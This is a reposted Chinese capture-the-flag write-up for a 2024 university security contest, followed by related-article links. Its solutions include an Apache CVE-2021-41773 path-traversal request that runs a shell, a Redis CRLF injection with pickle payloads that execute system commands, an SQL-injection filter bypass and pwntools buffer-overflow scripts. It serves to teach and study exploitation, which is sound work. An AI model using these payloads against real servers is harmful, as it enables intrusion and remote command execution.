【2024】高校网络安全管理运维赛

news2024/10/6 1:56:31

比赛时间:2024-05-06

Re-easyre

基本的base64换表,用CyberChef解密

图片.png

Re-babyre

进入主函数,发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)

from z3 import *

s = Solver()  # 设置一个解方程的类Solver(必须要设置)

v5=BitVec('v5',32)
v6=BitVec('v6',32)
v7=BitVec('v7',32)
v8=BitVec('v8',32)

s.add(v5 + 1380855784 == 907301700)

s.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)

s.add(v7<=0x10000000)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))
     + -3 * (~v7 | 0xA8453437)
     + 3 * ~(v7 | 0xA8453437)
     - (-10 * (v7 & 0xA8453437)
      + (v7 ^ 0xA8453437)) == 551387557)

s.add(v8<=0x10000000)
s.add(11 * ~(v8 ^ 0xE33B67BD)
     + 4 * ~(~v8 | 0xE33B67BD)
     - (6 * (v8& 0xE33B67BD)
      + 12 * ~(v8 | 0xE33B67BD))
     + 3 * (v8 & 0xD2C7FC0C)
     + -5 * v8
     - 2 * ~(v8 | 0xD2C7FC0C)
     + ~(v8 | 0x2D3803F3)
     + 4 * (v8 & 0x2D3803F3)
     - -2 * (v8 | 0x2D3803F3) == -837785892)

print(s.check())#check是保证有解
answer=s.model()#model是输出运算结果
print(answer)

data=[3821413212,98124621,78769651,67321987]
print('flag{'+'%08x-'%data[0]+'%08x-'%data[1]+'%08x-'%data[2]+'%08x'%data[3]+'}')

#flag{e3c6235c-05d9434d-04b1edf3-04034083}

Misc-签到

一张GIF图,拖到pr里面一帧一帧看,第一帧是:Flag is the ROT13 of …
之后的每一帧合并起来就是: synt{jrypbzr-gb-pbzcrgvgvba} ,然后通过ROT13解密,得到flag:flag{welcome-to-competition}

Misc-easyshell(复现)

冰蝎这个webShell的流量分析,推测是冰蝎3.0,使用默认密码rebeyond的md5加密然后取前16位作为key进行AES解密,或者直接通过 ( https://github.com/melody27/behinder_decrypt ) 进行解密:

python3 py_decrypt.py -f easyshell.pcap | tee result

获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息:

cat result | grep {\"msg\":\"
cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";

之后能够获取到一个压缩包,之后通过创建一个CRC值与获取的压缩包CRC值相同的zip包,然后进行明文攻击,最后获得flag:
flag{70854278-ea0c-462e-bc18-468c7a04a505}

Misc-Gateway(复现)

在附件baseinfoSet.json中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本,直接解密得到flag:flag{ad1985868133e8cf1828cb84adbe5a5b}

code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
    if i > 57:
       i-=4
    result.append(chr(i))
print (''.join(result))

Misc-Apache(复现)

在博客里直接搜索 httpd:2.4.49-buster漏洞 可知,有个CVE-2021-41773的路径穿越漏洞,相关连接如下Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客
所以根据python的源码,构造如下的包:

POST /nc HTTP/2
Host: prob01-8k743yxw.contest.pku.edu.cn
Content-Length: 470
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="port"

80
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="data"

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: aaaa
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

echo Content-Type:text/plain; echo; cat /flag;


------WebKitFormBoundary7MA4YWxkTrZu0gW--

通过burp发包得到flag:flag{wHaTaaPaCheRcE}

Web-phpsql

题目开始是个登陆框,根据题目,应该是个sql注入,先注册账号,然后登陆注册的账号看看情况,出现一个弹窗,表示只有admin才能拿到一些内容,那么猜测应该是万能密码登陆admin账号。
image.png
当payload 为 1’ or 1=1 # 的时候,回显是hacker,多次尝试之后,发现只过滤了空格,内联注释绕过,构造payload为:1’//Or//1//like//1/**/#成功绕过,在经过两次离谱的弹窗之后,成功拿到flag:flag{KTFoYJlPMrqDW6fBGwGG}

Web-pyssrf(复现)

访问source路由,拿到python源码

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)


@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
    return

看上去是一个pickle反序列化加上ssrf的洞,具体啥原理还不是很懂,先写下参考地址:漏洞是叫CRLF 编号为 CVE 2019-9947,参考资料可以是
Python urllib CRLF注入漏洞小结_urllib crlf漏洞-CSDN博客
首先是构造key值:
** md5(‘http://1’)=22d474190b1889d3373fa4f9334e979c **
** 用脚本构造pickle的反序列数据 ** :

import base64 
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))

因为采用的是flask框架,最简单获得回显的方式就是写文件到静态目录

import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))

再将flag的内容重定向到static/1.txt中

import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))

所以,payload依次为:
写入redis内缓存,创建静态目录static
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
读取flag,并重定向到/static/1.txt内:
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
之后访问/static/1.txt拿到flag:flag{qtRqiLrtTp6hoN2RPMti}

Pwn-babypwn

(这个题不知为啥,有种莫名奇妙的感觉,本地无论几次都不同,远程就能通)
查看开启的保护:

root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

反编译之后,找到漏洞函数login():

__int64 login()
{
  int v0; // ebx
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
  char s1[40]; // [rsp+20h] [rbp-30h] BYREF

  printf("Enter your username: ");
  read(0, buf, 0x40uLL);
  printf("Enter the password: ");
  read(0, s1, 0x40uLL);
  v0 = strcmp(buf, "root");
  return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}

并且,存在后门函数sub_401176,地址为0x401176,所以,根据gdb调试,得知缓冲区加上ebp的大小为120字节,所以exp如下:

from pwn import *
#io = process("./pwn")
io = remote('prob07.contest.pku.edu.cn',10007)
context.log_level = 'debug'
backdoor = 0x40117a  #不知道为啥,这里如果是0x401176的话,打不通
token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4="
io.sendline(token)
io.recvuntil(b'Enter your username: ')
payload = b'a'*120 + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

最后flag为:flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}

Pwn-Login

没有附件 nc连上多测试几次就会知道password多输几个字符就会输出二进制文件
图片.png多试试 0x28个字符时能接收到正确的文件

from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

io.sendlineafter('Username', "admin\x00")

io.sendlineafter('Password', b'a'*(0x28))

io.recvuntil('dumped\n')
key = io.recvall()

fp = open('att', 'wb')
fp.write(key)

os.system('chmod 777 att')


io.interactive()

att.pdf(zip)

__int64 login()
{
  char s1[48]; // [rsp+0h] [rbp-90h] BYREF
  char s[95]; // [rsp+30h] [rbp-60h] BYREF
  unsigned __int8 v3; // [rsp+8Fh] [rbp-1h]

  v3 = 0;
  memset(s, 0, 0x50uLL);
  memset(s1, 0, 0x28uLL);
  printf("Username: ");
  fgets(s, 80, stdin);
  if ( s[0x14] )
  {
    puts("Username too long");
    return 0LL;
  }
  else
  {
    printf("Password: ");
    fgets(s1, 0x320, stdin);
    if ( !strcmp(s, "admin\n") && !strcmp(s1, "1q2w3e4r\n") )
    {
      puts("Login successful, welcome admin");
      v3 = 1;
    }
    else
    {
      puts("Login failed");
      v3 = 0;
    }
    if ( s1[0x28] )
    {
      puts("Stack smashing detected");
      overflow_detected = 1;
      return 0LL;
    }
    else
    {
      return v3;
    }
  }
}

溢出,返回到后门函数
exp:

from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

payload = b'1q2w3e4r'
payload = payload.ljust(0x98, b'\x00') + p64(0x40127e)
io.sendlineafter('Username', "admin\x00")
io.sendlineafter("Password", payload)

io.interactive()

# flag{loGiN_SuccESs_cOnGratUlatION}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1685019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

产品经理-需求收集(二)

1. 什么是需求 指在一定的时期中&#xff0c;一定场景中&#xff0c;无论是心理上还是生理上的&#xff0c;用户有着某种“需要”&#xff0c;这种“需要”用户自己不一定知道的&#xff0c;有了这种“需要”后用户就有做某件事情的动机并促使达到其某种目的&#xff0c;这也就…

Redis 主从复制、哨兵与集群

一、Redis 主从复制 1. 主从复制的介绍 主从复制&#xff0c;是指将一台Redis服务器的数据&#xff0c;复制到其他的Redis服务器。前者称为主节点(Master)&#xff0c;后者称为从节点(Slave)&#xff1b;数据的复制是单向的&#xff0c;只能由主节点到从节点。 默认情况下&a…

如何快速从手动测试转向自动化测试

寻求具有无缝持续集成和持续交付 (CI/CD) 的高效 DevOps 管道比以往任何时候都更加重要。想象一下这样一个场景&#xff1a;您的软件组织显著减少了人工工作量、降低了成本&#xff0c;并更加自信地发布了软件更新。换句话说&#xff0c;通过将 Web UI 和 API 测试结合在一起&a…

展现金融科技前沿力量,ATFX于哥伦比亚金融博览会绽放光彩

不到半个月的时间里&#xff0c;高光时刻再度降临ATFX。而这一次&#xff0c;是ATFX不曾拥有的桂冠—“全球最佳在线经纪商”(Best Global Online Broker)。2024年5月15日至16日&#xff0c;拉丁美洲首屈一指的金融盛会—2024年哥伦比亚金融博览会(Money Expo Colombia 2024) 于…

前端开发攻略---用Vue实现无限滚动的几种方法

目录 1、原理 2、使用CSS动画 代码&#xff1a; 3、使用JS实现 代码&#xff1a; 1、原理 复制内容&#xff1a;将需要滚动的内容复制一次&#xff0c;并将这些副本放置在原始内容的后面。这样&#xff0c;当用户滚动到内容的末尾时&#xff0c;就会无缝地切换回到内容的起…

【Python】—— 公共的方法

目录 &#xff08;一&#xff09;公共操作 1.1 公共操作之运算符加号 1.2 公共操作之运算符乘号 1.3 公共操作之运算符判断数据是否存在 &#xff08;二&#xff09;公共方法 2.1 公共方法-len 2.2 公共方法-del 2.3 公共方法-max和min 2.4 公共方法-range 2.5 公共方…

如果 SEC 批准以太坊现货 ETF,会有更多山寨币 ETF 吗?

撰文&#xff1a;Protos 编译&#xff1a;Ismay&#xff0c;BlockBeats 文章来源香港Web3媒体Techun News 编者按&#xff1a;SEC 已与交易平台和 ETF 申请人就 19b-4 规则变更请求进行沟通&#xff0c;这表明以太坊现货 ETF 获批的可能性大大增加。与此同时山寨币投资者猜测…

嵌入式开发中树莓派和单片机关键区别

综合了几篇帖子作以信息收录&#xff1a;树莓派和单片机作为嵌入式系统领域中两种广泛使用的设备&#xff0c;各自有着不同的特性和应用场景&#xff0c;文章从五个方面进行比对展开。 架构与性能&#xff1a; 树莓派&#xff1a;是一款微型计算机&#xff0c;通常配备基于AR…

解决 git:OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0

解决 git&#xff1a;OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0 问题 git pull报错&#xff1a;fatal: unable to access ‘https://github.com/aircrushin/ultrav-music.git/’: Failed to connect to github.com port 443 after 21077 ms: Couldn’t connect to serve…

成本管控:如何利用 SOLIDWORKS Costing 高效估算成本?

现在全球材料短缺、生活成本上升以及能源价格上涨而导致的成本上升问题突显。 生产产品需要的成本以及如何让产品的成本下降就成为很多的企业越来越关注的问题。 SOLIDWORKS Costing是集成到 SOLIDWORKS Professional 和 Premium 中的一款允许用户和制造商估算产品生产成本的工…

Java 多线程抢红包

问题需求 一个人在群里发了1个100元的红包&#xff0c;被分成了8个&#xff0c;群里有10个人一起来抢红包&#xff0c;有抢到的金额随机分配。 红包功能需要满足哪些具体规则呢? 1、被分的人数抢到的金额之和要等于红包金额&#xff0c;不能多也不能少。 2、每个人至少抢到1元…

A股翻车现场

英伟达业绩炸裂&#xff0c;但今天A股这边不仅没喝着汤&#xff0c;还再度上演大型翻车现场&#xff0c;人家不仅股价大涨7个点还站上1000美元大关&#xff0c; 而咱A股里的英伟达&#xff0c;AI&#xff0c;TMT相关概念股&#xff0c;包括工业&#xff08;富联&#xff09;&am…

Redis常见数据类型(4) - hash, List

hash 命令小结 命令执行效果时间复杂度hset key field value设置值O(1)hget key field获取值O(1)hdel key field [field...]删除值O(k), k是field个数hlen key计算field个数O(1)hgetall key获取所有的field-valueO(k), k是field的个数hmget field [field...]批量获取field-va…

springboot+jsp校园理发店美容美发店信息管理系统0h29g

前台管理:会员管理、会员预定、开单点单、收银结帐、技师提成 后台管理:数据维护、物料管理、数据查询、报表分析、系统设置等 灵活的付款方式&#xff0c;支持现金、挂帐、会员卡&#xff0c;同时支持多种折扣方式并可按用户要求设置多种结帐类型善的充值卡管理模块:支持优惠卡…

重谈端口号(五元组标识通信),netstat命令介绍

目录 重谈端口号 引入 介绍 知名端口 查看 netstat 引入 介绍 第一列 其他列 选项 重谈端口号 引入 我们已经介绍了很多关于网络协议/网络相关知识了,这里,我们重新回过头再来看看端口号 之前介绍端口号的博客 -- 网络通信另个角度的认识(进程间通信),端口号(为什么…

ctfshow web 萌新赛

给他 谐音.git 用githack还原文件 <?php $passsprintf("and pass%s",addslashes($_GET[pass])); $sqlsprintf("select * from user where name%s $pass",addslashes($_GET[name])); ?>用addslashes函数进行转义 它会在以下字符前添加反斜杠&am…

【施磊】C++语言基础提高:深入学习C++语言先要练好的内功

课程总目录 文章目录 一、进程的虚拟地址空间内存划分和布局二、函数的调用堆栈详细过程三、程序编译链接原理1. 编译过程2. 链接过程 一、进程的虚拟地址空间内存划分和布局 任何的编程语言 → \to → 产生两种东西&#xff1a;指令和数据 编译链接完成之后会产生一个可执行…

【笔记】软件架构师要点记录(2)

【笔记】软件架构师要点记录 20240523案例一案例二案例三案例四案例五案例六案例七案例十 20240523 基于前10个架构案例场景&#xff0c;对用到的专业术语进行整理&#xff0c;方便后续查看。 案例一 MVC架构风格组件交互方式 MVC是一种用来构建用户界面时采用的架构设计风格…

SpringBoot中使用AOP实现日志记录功能

目录 一、SpringBoot框架介绍 二、什么是 AOP 三、日志记录的必要性 四、SpringBoot中如何使用AOP实现日志记录功能 一、SpringBoot框架介绍 SpringBoot是一个开源的Java开发框架&#xff0c;旨在简化基于Spring框架的应用程序的开发。它提供了一套开箱即用的工具&#xf…

企业知识库智能问答系统的实践

1、页面效果 PC端 2、页面效果 手机端 3、主要支持功能 新建会话 历史会话 2、智能问答 支持 文本分类和意图识别&#xff0c;支持基于大模型的对话理解&#xff0c;支持流式对话 3、支持手机端 语音识别 4、主要服务包括 向量库Milvus 向量计算和文本分类服务 …